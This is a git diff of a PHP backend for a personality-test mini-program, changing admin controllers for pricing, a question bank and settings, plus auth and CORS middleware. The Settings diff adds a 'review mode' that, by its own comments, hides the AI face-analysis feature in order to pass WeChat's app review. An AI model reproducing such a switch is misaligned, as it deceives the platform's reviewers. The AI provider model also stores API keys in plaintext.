(!$config) { - return error('定价配置不存在', 404); - } - return success([ - 'type' => $config->type, - 'enterpriseId' => $config->enterpriseId, - 'config' => $config->config - ]); - } else { - // 获取所有:个人/深度各一条(全局),企业=全局默认定价 + 各企业专属列表 - $configs = PricingConfigModel::select()->toArray(); - $result = ['personal' => null, 'enterprise' => null, 'deep' => null, 'enterpriseList' => []]; - foreach ($configs as $row) { - if ($row['enterpriseId'] === null || $row['enterpriseId'] === '') { - $result[$row['type']] = $row['config']; - } else { - if ($row['type'] === 'enterprise') { - $result['enterpriseList'][] = ['enterpriseId' => (int) $row['enterpriseId'], 'config' => $row['config']]; - } - } - } - return success($result); - } - } - - /** - * 更新定价配置 - * @return \think\response\Json - */ - public function update() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - // PUT JSON body 需显式解析,直接用 param() 读深层嵌套数组可能丢失数据 - $rawBody = (string) $this->request->getContent(); - $jsonData = ($rawBody !== '') ? json_decode($rawBody, true) : null; - - if (is_array($jsonData)) { - $type = (string) ($jsonData['type'] ?? ''); - $enterpriseId = $jsonData['enterpriseId'] ?? null; - $config = $jsonData['config'] ?? []; - } else { - $type = (string) Request::param('type', ''); - $enterpriseId = Request::param('enterpriseId', null); - $config = Request::param('config', []); - } - - if (empty($type)) { - return error('定价类型不能为空', 400); - } - - if (!in_array($type, ['personal', 'enterprise', 'deep', 'deep_personal', 'deep_enterprise'])) { - return error('定价类型无效', 400); - } - - if (empty($config) || !is_array($config)) { - return error('配置数据不能为空', 400); - } - - $enterpriseId = ($type === 'enterprise' && $enterpriseId !== null && $enterpriseId !== '') ? (int) $enterpriseId : null; - if ($type !== 'enterprise') { - $enterpriseId = null; - } - - $query = PricingConfigModel::where('type', $type); - if ($type === 'enterprise') { - if ($enterpriseId !== null) { - $query->where('enterpriseId', $enterpriseId); - } else { - $query->whereNull('enterpriseId'); - } - } else { - $query->whereNull('enterpriseId'); - } - // deep_personal / deep_enterprise 仅全局一条,不按企业分 - $pricingConfig = $query->find(); - - if (!$pricingConfig) { - $pricingConfig = PricingConfigModel::create([ - 'type' => $type, - 'enterpriseId' => $enterpriseId, - 'config' => $config - ]); - } else { - $pricingConfig->config = $config; - $pricingConfig->save(); - } - - return success([ - 'type' => $pricingConfig->type, - 'enterpriseId' => $pricingConfig->enterpriseId, - 'config' => $pricingConfig->config - ], '保存成功'); - } - - /** - * 批量更新定价配置 - * @return \think\response\Json - */ - public function batchUpdate() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $rawBody = (string) $this->request->getContent(); - $jsonData = ($rawBody !== '') ? json_decode($rawBody, true) : null; - $data = is_array($jsonData) ? ($jsonData['data'] ?? []) : Request::param('data', []); - - if (empty($data) || !is_array($data)) { - return error('配置数据不能为空', 400); - } - - $successCount = 0; - $errors = []; - - foreach ($data as $type => $config) { - if (!in_array($type, ['personal', 'enterprise', 'deep', 'deep_personal', 'deep_enterprise'])) { - $errors[] = "类型 {$type} 无效"; - continue; - } - - if (empty($config) || !is_array($config)) { - $errors[] = "类型 {$type} 的配置数据无效"; - continue; - } - - try { - $pricingConfig = PricingConfigModel::where('type', $type)->whereNull('enterpriseId')->find(); - - if (!$pricingConfig) { - PricingConfigModel::create([ - 'type' => $type, - 'config' => $config - ]); - } else { - $pricingConfig->config = $config; - $pricingConfig->save(); - } - $successCount++; - } catch (\Exception $e) { - $errors[] = "保存类型 {$type} 失败:" . $e->getMessage(); - } - } - - if (!empty($errors)) { - return error('部分配置保存失败:' . implode(';', $errors), 400); - } - - return success(null, "成功保存 {$successCount} 个配置"); - } -} - +request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $type = Request::param('type', ''); // personal/enterprise/deep + $enterpriseId = Request::param('enterpriseId', null); // 仅 type=enterprise 时有效,不传为全局 + + if ($type) { + $enterpriseId = $enterpriseId !== null && $enterpriseId !== '' ? (int) $enterpriseId : null; + $query = PricingConfigModel::where('type', $type); + if ($type === 'enterprise') { + $query->where(empty($enterpriseId) ? 'enterpriseId' : 'enterpriseId', empty($enterpriseId) ? 'null' : '=', empty($enterpriseId) ? null : $enterpriseId); + if (empty($enterpriseId)) { + $query->whereNull('enterpriseId'); + } else { + $query->where('enterpriseId', $enterpriseId); + } + } else { + $query->whereNull('enterpriseId'); + } + $config = $query->find(); + if (!$config) { + return error('定价配置不存在', 404); + } + return success([ + 'type' => $config->type, + 'enterpriseId' => $config->enterpriseId, + 'config' => $config->config + ]); + } else { + // 获取所有:个人/深度各一条(全局),企业=全局默认定价 + 各企业专属列表 + $configs = PricingConfigModel::select()->toArray(); + $result = ['personal' => null, 'enterprise' => null, 'deep' => null, 'enterpriseList' => []]; + foreach ($configs as $row) { + if ($row['enterpriseId'] === null || $row['enterpriseId'] === '') { + $result[$row['type']] = $row['config']; + } else { + if ($row['type'] === 'enterprise') { + $result['enterpriseList'][] = ['enterpriseId' => (int) $row['enterpriseId'], 'config' => $row['config']]; + } + } + } + return success($result); + } + } + + /** + * 更新定价配置 + * @return \think\response\Json + */ + public function update() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + // PUT JSON body 需显式解析,直接用 param() 读深层嵌套数组可能丢失数据 + $rawBody = (string) $this->request->getContent(); + $jsonData = ($rawBody !== '') ? json_decode($rawBody, true) : null; + + if (is_array($jsonData)) { + $type = (string) ($jsonData['type'] ?? ''); + $enterpriseId = $jsonData['enterpriseId'] ?? null; + $config = $jsonData['config'] ?? []; + } else { + $type = (string) Request::param('type', ''); + $enterpriseId = Request::param('enterpriseId', null); + $config = Request::param('config', []); + } + + if (empty($type)) { + return error('定价类型不能为空', 400); + } + + if (!in_array($type, ['personal', 'enterprise', 'deep', 'deep_personal', 'deep_enterprise'])) { + return error('定价类型无效', 400); + } + + if (empty($config) || !is_array($config)) { + return error('配置数据不能为空', 400); + } + + $enterpriseId = ($type === 'enterprise' && $enterpriseId !== null && $enterpriseId !== '') ? (int) $enterpriseId : null; + if ($type !== 'enterprise') { + $enterpriseId = null; + } + + $query = PricingConfigModel::where('type', $type); + if ($type === 'enterprise') { + if ($enterpriseId !== null) { + $query->where('enterpriseId', $enterpriseId); + } else { + $query->whereNull('enterpriseId'); + } + } else { + $query->whereNull('enterpriseId'); + } + // deep_personal / deep_enterprise 仅全局一条,不按企业分 + $pricingConfig = $query->find(); + + if (!$pricingConfig) { + $pricingConfig = PricingConfigModel::create([ + 'type' => $type, + 'enterpriseId' => $enterpriseId, + 'config' => $config + ]); + } else { + $pricingConfig->config = $config; + $pricingConfig->save(); + } + + return success([ + 'type' => $pricingConfig->type, + 'enterpriseId' => $pricingConfig->enterpriseId, + 'config' => $pricingConfig->config + ], '保存成功'); + } + + /** + * 批量更新定价配置 + * @return \think\response\Json + */ + public function batchUpdate() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $rawBody = (string) $this->request->getContent(); + $jsonData = ($rawBody !== '') ? json_decode($rawBody, true) : null; + $data = is_array($jsonData) ? ($jsonData['data'] ?? []) : Request::param('data', []); + + if (empty($data) || !is_array($data)) { + return error('配置数据不能为空', 400); + } + + $successCount = 0; + $errors = []; + + foreach ($data as $type => $config) { + if (!in_array($type, ['personal', 'enterprise', 'deep', 'deep_personal', 'deep_enterprise'])) { + $errors[] = "类型 {$type} 无效"; + continue; + } + + if (empty($config) || !is_array($config)) { + $errors[] = "类型 {$type} 的配置数据无效"; + continue; + } + + try { + $pricingConfig = PricingConfigModel::where('type', $type)->whereNull('enterpriseId')->find(); + + if (!$pricingConfig) { + PricingConfigModel::create([ + 'type' => $type, + 'config' => $config + ]); + } else { + $pricingConfig->config = $config; + $pricingConfig->save(); + } + $successCount++; + } catch (\Exception $e) { + $errors[] = "保存类型 {$type} 失败:" . $e->getMessage(); + } + } + + if (!empty($errors)) { + return error('部分配置保存失败:' . implode(';', $errors), 400); + } + + return success(null, "成功保存 {$successCount} 个配置"); + } +} + diff --git a/api/app/controller/superadmin/Question.php b/api/app/controller/superadmin/Question.php index b1590f5..2ae7f2c 100644 --- a/api/app/controller/superadmin/Question.php +++ b/api/app/controller/superadmin/Question.php @@ -1,332 +1,332 @@ -request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $page = Request::param('page', 1); - $pageSize = Request::param('pageSize', 20); - $type = Request::param('type', ''); // mbti/disc/pdp - $status = Request::param('status', ''); // 1启用/0禁用 - - $where = []; - - // 只查询超管题库(enterpriseId = NULL) - $where['enterpriseId'] = null; - - // 类型筛选 - if ($type) { - $where['type'] = $type; - } - - // 状态筛选 - if ($status !== '') { - $where['status'] = $status; - } - - // 查询题库列表 - $list = QuestionModel::where($where) - ->order('sort', 'asc') - ->order('id', 'asc') - ->page($page, $pageSize) - ->select() - ->toArray(); - - // 处理 options 字段,确保返回数组格式 - foreach ($list as &$item) { - if (isset($item['options'])) { - // 如果是对象格式(stdClass),先转换为数组 - if (is_object($item['options'])) { - $item['options'] = json_decode(json_encode($item['options']), true); - } - // 如果是关联数组(不是索引数组),转换为索引数组 - if (is_array($item['options']) && !isset($item['options'][0])) { - $item['options'] = array_values($item['options']); - } - } - } - unset($item); - - // 总数 - $total = QuestionModel::where($where)->count(); - - return success([ - 'list' => $list, - 'total' => $total, - 'page' => $page, - 'pageSize' => $pageSize - ]); - } - - /** - * 获取题目详情 - * @param int $id - * @return \think\response\Json - */ - public function detail($id) - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $question = QuestionModel::where('id', $id) - ->where('enterpriseId', null) // 只能查看超管题库 - ->find(); - - if (!$question) { - return error('题目不存在', 404); - } - - $data = $question->toArray(); - - // 处理 options 字段,确保返回数组格式 - if (isset($data['options'])) { - // 如果是对象格式(stdClass),先转换为数组 - if (is_object($data['options'])) { - $data['options'] = json_decode(json_encode($data['options']), true); - } - // 如果是关联数组(不是索引数组),转换为索引数组 - if (is_array($data['options']) && !isset($data['options'][0])) { - $data['options'] = array_values($data['options']); - } - } - - return success($data); - } - - /** - * 创建题目 - * @return \think\response\Json - */ - public function create() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); - - // 验证必填字段 - if (empty($data['type']) || empty($data['question']) || empty($data['options'])) { - return error('题目类型、题目内容和选项不能为空', 400); - } - - // 验证类型 - if (!in_array($data['type'], ['mbti', 'disc', 'pdp'])) { - return error('题目类型必须是 mbti、disc 或 pdp', 400); - } - - // 验证选项格式 - if (!is_array($data['options'])) { - return error('选项必须是数组格式', 400); - } - - // MBTI类型需要dimension字段 - if ($data['type'] === 'mbti' && empty($data['dimension'])) { - return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); - } - - // 设置超管题库标识(enterpriseId = NULL) - $data['enterpriseId'] = null; - - // 设置默认值 - $data['sort'] = $data['sort'] ?? 0; - $data['status'] = $data['status'] ?? 1; - - // 创建题目 - $question = QuestionModel::create($data); - - return success($question->toArray(), '创建成功'); - } - - /** - * 更新题目 - * @param int $id - * @return \think\response\Json - */ - public function update($id) - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $question = QuestionModel::where('id', $id) - ->where('enterpriseId', null) // 只能更新超管题库 - ->find(); - - if (!$question) { - return error('题目不存在', 404); - } - - $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); - - // 验证类型 - if (isset($data['type']) && !in_array($data['type'], ['mbti', 'disc', 'pdp'])) { - return error('题目类型必须是 mbti、disc 或 pdp', 400); - } - - // 验证选项格式 - if (isset($data['options']) && !is_array($data['options'])) { - return error('选项必须是数组格式', 400); - } - - // MBTI类型需要dimension字段 - if (($data['type'] ?? $question->type) === 'mbti' && empty($data['dimension'] ?? $question->dimension)) { - return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); - } - - // 更新题目 - $question->save($data); - - return success($question->toArray(), '更新成功'); - } - - /** - * 删除题目(软删除) - * @param int $id - * @return \think\response\Json - */ - public function delete($id) - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $question = QuestionModel::where('id', $id) - ->where('enterpriseId', null) // 只能删除超管题库 - ->find(); - - if (!$question) { - return error('题目不存在', 404); - } - - // 执行软删除 - $question->delete(); - - return success(null, '删除成功'); - } - - /** - * 批量导入题目 - * @return \think\response\Json - */ - public function batchImport() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $questions = Request::param('questions', []); - - if (empty($questions) || !is_array($questions)) { - return error('题目数据不能为空', 400); - } - - $successCount = 0; - $failCount = 0; - $errors = []; - - Db::startTrans(); - try { - foreach ($questions as $index => $q) { - // 验证必填字段 - if (empty($q['type']) || empty($q['question']) || empty($q['options'])) { - $failCount++; - $errors[] = "第" . ($index + 1) . "题:题目类型、题目内容和选项不能为空"; - continue; - } - - // 验证类型 - if (!in_array($q['type'], ['mbti', 'disc', 'pdp'])) { - $failCount++; - $errors[] = "第" . ($index + 1) . "题:题目类型必须是 mbti、disc 或 pdp"; - continue; - } - - // MBTI类型需要dimension字段 - if ($q['type'] === 'mbti' && empty($q['dimension'])) { - $failCount++; - $errors[] = "第" . ($index + 1) . "题:MBTI类型题目必须指定维度"; - continue; - } - - // 设置超管题库标识 - $q['enterpriseId'] = null; - $q['sort'] = $q['sort'] ?? ($index + 1); - $q['status'] = $q['status'] ?? 1; - - QuestionModel::create($q); - $successCount++; - } - - Db::commit(); - } catch (\Exception $e) { - Db::rollback(); - return error('批量导入失败:' . $e->getMessage(), 500); - } - - return success([ - 'successCount' => $successCount, - 'failCount' => $failCount, - 'errors' => $errors - ], "成功导入 {$successCount} 题,失败 {$failCount} 题"); - } - - /** - * 切换题目状态 - * @param int $id - * @return \think\response\Json - */ - public function toggleStatus($id) - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $question = QuestionModel::where('id', $id) - ->where('enterpriseId', null) // 只能操作超管题库 - ->find(); - - if (!$question) { - return error('题目不存在', 404); - } - - $question->status = $question->status == 1 ? 0 : 1; - $question->save(); - - return success($question->toArray(), '状态更新成功'); - } -} - +request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $page = Request::param('page', 1); + $pageSize = Request::param('pageSize', 20); + $type = Request::param('type', ''); // mbti/disc/pdp + $status = Request::param('status', ''); // 1启用/0禁用 + + $where = []; + + // 只查询超管题库(enterpriseId = NULL) + $where['enterpriseId'] = null; + + // 类型筛选 + if ($type) { + $where['type'] = $type; + } + + // 状态筛选 + if ($status !== '') { + $where['status'] = $status; + } + + // 查询题库列表 + $list = QuestionModel::where($where) + ->order('sort', 'asc') + ->order('id', 'asc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + // 处理 options 字段,确保返回数组格式 + foreach ($list as &$item) { + if (isset($item['options'])) { + // 如果是对象格式(stdClass),先转换为数组 + if (is_object($item['options'])) { + $item['options'] = json_decode(json_encode($item['options']), true); + } + // 如果是关联数组(不是索引数组),转换为索引数组 + if (is_array($item['options']) && !isset($item['options'][0])) { + $item['options'] = array_values($item['options']); + } + } + } + unset($item); + + // 总数 + $total = QuestionModel::where($where)->count(); + + return success([ + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize + ]); + } + + /** + * 获取题目详情 + * @param int $id + * @return \think\response\Json + */ + public function detail($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', null) // 只能查看超管题库 + ->find(); + + if (!$question) { + return error('题目不存在', 404); + } + + $data = $question->toArray(); + + // 处理 options 字段,确保返回数组格式 + if (isset($data['options'])) { + // 如果是对象格式(stdClass),先转换为数组 + if (is_object($data['options'])) { + $data['options'] = json_decode(json_encode($data['options']), true); + } + // 如果是关联数组(不是索引数组),转换为索引数组 + if (is_array($data['options']) && !isset($data['options'][0])) { + $data['options'] = array_values($data['options']); + } + } + + return success($data); + } + + /** + * 创建题目 + * @return \think\response\Json + */ + public function create() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); + + // 验证必填字段 + if (empty($data['type']) || empty($data['question']) || empty($data['options'])) { + return error('题目类型、题目内容和选项不能为空', 400); + } + + // 验证类型 + if (!in_array($data['type'], ['mbti', 'disc', 'pdp'])) { + return error('题目类型必须是 mbti、disc 或 pdp', 400); + } + + // 验证选项格式 + if (!is_array($data['options'])) { + return error('选项必须是数组格式', 400); + } + + // MBTI类型需要dimension字段 + if ($data['type'] === 'mbti' && empty($data['dimension'])) { + return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); + } + + // 设置超管题库标识(enterpriseId = NULL) + $data['enterpriseId'] = null; + + // 设置默认值 + $data['sort'] = $data['sort'] ?? 0; + $data['status'] = $data['status'] ?? 1; + + // 创建题目 + $question = QuestionModel::create($data); + + return success($question->toArray(), '创建成功'); + } + + /** + * 更新题目 + * @param int $id + * @return \think\response\Json + */ + public function update($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', null) // 只能更新超管题库 + ->find(); + + if (!$question) { + return error('题目不存在', 404); + } + + $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); + + // 验证类型 + if (isset($data['type']) && !in_array($data['type'], ['mbti', 'disc', 'pdp'])) { + return error('题目类型必须是 mbti、disc 或 pdp', 400); + } + + // 验证选项格式 + if (isset($data['options']) && !is_array($data['options'])) { + return error('选项必须是数组格式', 400); + } + + // MBTI类型需要dimension字段 + if (($data['type'] ?? $question->type) === 'mbti' && empty($data['dimension'] ?? $question->dimension)) { + return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); + } + + // 更新题目 + $question->save($data); + + return success($question->toArray(), '更新成功'); + } + + /** + * 删除题目(软删除) + * @param int $id + * @return \think\response\Json + */ + public function delete($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', null) // 只能删除超管题库 + ->find(); + + if (!$question) { + return error('题目不存在', 404); + } + + // 执行软删除 + $question->delete(); + + return success(null, '删除成功'); + } + + /** + * 批量导入题目 + * @return \think\response\Json + */ + public function batchImport() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $questions = Request::param('questions', []); + + if (empty($questions) || !is_array($questions)) { + return error('题目数据不能为空', 400); + } + + $successCount = 0; + $failCount = 0; + $errors = []; + + Db::startTrans(); + try { + foreach ($questions as $index => $q) { + // 验证必填字段 + if (empty($q['type']) || empty($q['question']) || empty($q['options'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:题目类型、题目内容和选项不能为空"; + continue; + } + + // 验证类型 + if (!in_array($q['type'], ['mbti', 'disc', 'pdp'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:题目类型必须是 mbti、disc 或 pdp"; + continue; + } + + // MBTI类型需要dimension字段 + if ($q['type'] === 'mbti' && empty($q['dimension'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:MBTI类型题目必须指定维度"; + continue; + } + + // 设置超管题库标识 + $q['enterpriseId'] = null; + $q['sort'] = $q['sort'] ?? ($index + 1); + $q['status'] = $q['status'] ?? 1; + + QuestionModel::create($q); + $successCount++; + } + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + return error('批量导入失败:' . $e->getMessage(), 500); + } + + return success([ + 'successCount' => $successCount, + 'failCount' => $failCount, + 'errors' => $errors + ], "成功导入 {$successCount} 题,失败 {$failCount} 题"); + } + + /** + * 切换题目状态 + * @param int $id + * @return \think\response\Json + */ + public function toggleStatus($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', null) // 只能操作超管题库 + ->find(); + + if (!$question) { + return error('题目不存在', 404); + } + + $question->status = $question->status == 1 ? 0 : 1; + $question->save(); + + return success($question->toArray(), '状态更新成功'); + } +} + diff --git a/api/app/controller/superadmin/Settings.php b/api/app/controller/superadmin/Settings.php index 29a3afd..40f00b1 100644 --- a/api/app/controller/superadmin/Settings.php +++ b/api/app/controller/superadmin/Settings.php @@ -32,6 +32,7 @@ class Settings extends BaseController $promptsConfig = SystemConfigModel::where('key', 'prompts')->where('enterprise_id', 0)->find(); $reportRequiresPaymentConfig = SystemConfigModel::where('key', 'report_requires_payment')->where('enterprise_id', 0)->find(); $textConfigModel = SystemConfigModel::where('key', 'text_config')->where('enterprise_id', 0)->find(); + $reviewModeConfig = SystemConfigModel::where('key', 'review_mode')->where('enterprise_id', 0)->find(); // 获取当前超管用户名(直接使用JWT中的username) $jwtUsername = $user['username'] ?? null; @@ -59,6 +60,7 @@ class Settings extends BaseController 'trialTestCount' => 10, 'defaultEnterpriseId' => null, ], + 'reviewMode' => $reviewModeConfig && !empty($reviewModeConfig->value) ? $reviewModeConfig->value : ['enabled' => false], 'notification' => $notificationConfig ? $notificationConfig->value : [ 'emailNotification' => true, 'lowBalanceAlert' => true, @@ -385,6 +387,40 @@ class Settings extends BaseController } } + /** + * 更新审核模式配置 + * PUT body: { "enabled": true/false } + * 开启后小程序隐藏AI面相分析功能,仅展示问卷测试,用于通过微信审核 + */ + public function updateReviewMode() + { + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $input = json_decode($this->request->getContent(), true); + if (!is_array($input)) { + $input = Request::param(); + } + $enabled = !empty($input['enabled']); + + try { + $config = SystemConfigModel::where('key', 'review_mode')->where('enterprise_id', 0)->find(); + if (!$config) { + $config = new SystemConfigModel(); + $config->key = 'review_mode'; + $config->enterprise_id = 0; + $config->description = '审核模式:开启后隐藏AI功能以通过微信审核'; + } + $config->value = ['enabled' => $enabled]; + $config->save(); + return success($config->value, '审核模式已' . ($enabled ? '开启' : '关闭')); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + /** * 获取可用字体列表 * GET /api/v1/superadmin/settings/fonts diff --git a/api/app/middleware/Auth.php b/api/app/middleware/Auth.php index dcfeff0..0611187 100644 --- a/api/app/middleware/Auth.php +++ b/api/app/middleware/Auth.php @@ -1,48 +1,48 @@ - 401, - 'message' => '未登录或Token无效', - 'data' => null - ])->code(401); - } - - // 验证Token - $payload = JwtService::verifyToken($token); - - if (!$payload) { - return json([ - 'code' => 401, - 'message' => 'Token无效或已过期', - 'data' => null - ])->code(401); - } - - // 将用户信息存储到请求中,供控制器使用 - $request->user = $payload; - $request->userId = $payload['userId'] ?? $payload['user_id'] ?? null; - - return $next($request); - } -} - + 401, + 'message' => '未登录或Token无效', + 'data' => null + ])->code(401); + } + + // 验证Token + $payload = JwtService::verifyToken($token); + + if (!$payload) { + return json([ + 'code' => 401, + 'message' => 'Token无效或已过期', + 'data' => null + ])->code(401); + } + + // 将用户信息存储到请求中,供控制器使用 + $request->user = $payload; + $request->userId = $payload['userId'] ?? $payload['user_id'] ?? null; + + return $next($request); + } +} + diff --git a/api/app/middleware/Cors.php b/api/app/middleware/Cors.php index 2f53562..16c387c 100644 --- a/api/app/middleware/Cors.php +++ b/api/app/middleware/Cors.php @@ -1,74 +1,74 @@ -header('Origin', ''); - - // 确定允许的Origin - $allowedOrigin = null; - if ($allowOrigin === '*') { - $allowedOrigin = '*'; - } else { - // 支持多个域名(用逗号分隔) - $origins = array_map('trim', explode(',', $allowOrigin)); - - // 如果请求的Origin在允许列表中,则使用该Origin - // 同时支持带/不带尾部斜杠的匹配 - foreach ($origins as $allowed) { - if ($origin === $allowed || $origin === rtrim($allowed, '/') || rtrim($origin, '/') === $allowed) { - $allowedOrigin = $origin; - break; - } - } - } - - // 处理预检请求(OPTIONS) - if ($request->method(true) === 'OPTIONS') { - $response = response('', 200); - } else { - $response = $next($request); - } - - // 设置CORS响应头 - if ($allowedOrigin !== null) { - $headers = [ - 'Access-Control-Allow-Origin' => $allowedOrigin, - 'Access-Control-Allow-Methods' => $allowMethods, - 'Access-Control-Allow-Headers' => $allowHeaders, - 'Access-Control-Max-Age' => (string)$maxAge, - ]; - - if ($allowCredentials) { - $headers['Access-Control-Allow-Credentials'] = 'true'; - } - - // 使用header方法设置响应头(ThinkPHP 8 需要传递数组) - $response->header($headers); - } - - return $response; - } -} +header('Origin', ''); + + // 确定允许的Origin + $allowedOrigin = null; + if ($allowOrigin === '*') { + $allowedOrigin = '*'; + } else { + // 支持多个域名(用逗号分隔) + $origins = array_map('trim', explode(',', $allowOrigin)); + + // 如果请求的Origin在允许列表中,则使用该Origin + // 同时支持带/不带尾部斜杠的匹配 + foreach ($origins as $allowed) { + if ($origin === $allowed || $origin === rtrim($allowed, '/') || rtrim($origin, '/') === $allowed) { + $allowedOrigin = $origin; + break; + } + } + } + + // 处理预检请求(OPTIONS) + if ($request->method(true) === 'OPTIONS') { + $response = response('', 200); + } else { + $response = $next($request); + } + + // 设置CORS响应头 + if ($allowedOrigin !== null) { + $headers = [ + 'Access-Control-Allow-Origin' => $allowedOrigin, + 'Access-Control-Allow-Methods' => $allowMethods, + 'Access-Control-Allow-Headers' => $allowHeaders, + 'Access-Control-Max-Age' => (string)$maxAge, + ]; + + if ($allowCredentials) { + $headers['Access-Control-Allow-Credentials'] = 'true'; + } + + // 使用header方法设置响应头(ThinkPHP 8 需要传递数组) + $response->header($headers); + } + + return $response; + } +} diff --git a/api/app/middleware/SuperAdmin.php b/api/app/middleware/SuperAdmin.php index b9d3c2a..d242d56 100644 --- a/api/app/middleware/SuperAdmin.php +++ b/api/app/middleware/SuperAdmin.php @@ -1,57 +1,57 @@ - 401, - 'message' => '未登录或Token无效', - 'data' => null - ])->code(401); - } - - // 验证Token - $payload = JwtService::verifyToken($token); - - if (!$payload) { - return json([ - 'code' => 401, - 'message' => 'Token无效或已过期', - 'data' => null - ])->code(401); - } - - // 验证是否为超级管理员 - if ($payload['role'] !== 'superadmin') { - return json([ - 'code' => 403, - 'message' => '无权限访问,需要超级管理员权限', - 'data' => null - ])->code(403); - } - - // 将用户信息存储到请求中,供控制器使用 - $request->user = $payload; - $request->userId = $payload['userId'] ?? null; - - return $next($request); - } -} - + 401, + 'message' => '未登录或Token无效', + 'data' => null + ])->code(401); + } + + // 验证Token + $payload = JwtService::verifyToken($token); + + if (!$payload) { + return json([ + 'code' => 401, + 'message' => 'Token无效或已过期', + 'data' => null + ])->code(401); + } + + // 验证是否为超级管理员 + if ($payload['role'] !== 'superadmin') { + return json([ + 'code' => 403, + 'message' => '无权限访问,需要超级管理员权限', + 'data' => null + ])->code(403); + } + + // 将用户信息存储到请求中,供控制器使用 + $request->user = $payload; + $request->userId = $payload['userId'] ?? null; + + return $next($request); + } +} + diff --git a/api/app/model/AiProvider.php b/api/app/model/AiProvider.php index dd23a84..1ca775b 100644 --- a/api/app/model/AiProvider.php +++ b/api/app/model/AiProvider.php @@ -1,109 +1,109 @@ - 'int', - 'providerId' => 'string', - 'name' => 'string', - 'enabled' => 'int', - 'visible' => 'int', - 'apiKey' => 'string', - 'apiEndpoint' => 'string', - 'model' => 'string', - 'organizationId' => 'string', - 'maxTokens' => 'int', - 'balanceAlertEnabled' => 'int', - 'balanceAlertThreshold' => 'float', - 'notes' => 'string', - 'docUrl' => 'string', - 'isFree' => 'int', - 'supportsBalance' => 'int', - 'lastBalance' => 'float', - 'lastBalanceCurrency' => 'string', - 'lastBalanceCheckedAt' => 'int', - 'createdAt' => 'int', - 'updatedAt' => 'int', - 'deletedAt' => 'int', - 'extraConfig' => 'string', - ]; - - // 自动时间戳(使用驼峰命名,时间戳格式) - protected $autoWriteTimestamp = 'int'; - - // 时间戳字段名(驼峰命名,匹配数据库) - protected $createTime = 'createdAt'; - protected $updateTime = 'updatedAt'; - - // 时间字段类型(时间戳格式) - protected $type = [ - 'lastBalanceCheckedAt' => 'integer', - 'createdAt' => 'integer', - 'updatedAt' => 'integer', - 'deletedAt' => 'integer', - 'extraConfig' => 'json', - ]; - - // 注意:API Key需要可逆读取用于API调用,所以不隐藏,但在获取器中脱敏 - - /** - * API Key 修改器(存储原始值,用于API调用) - */ - public function setApiKeyAttr($value) - { - if (empty($value)) { - return null; - } - // 如果输入的是脱敏格式(包含****),不更新 - if (strpos($value, '****') !== false) { - return null; // 返回null表示不更新此字段 - } - // 直接存储原始值(实际生产环境建议使用AES加密) - return $value; - } - - /** - * API Key 获取器(返回脱敏后的密钥) - * 注意:如果需要原始密钥用于API调用,使用 getRawApiKey() 方法 - */ - public function getApiKeyAttr($value) - { - if (empty($value)) { - return ''; - } - 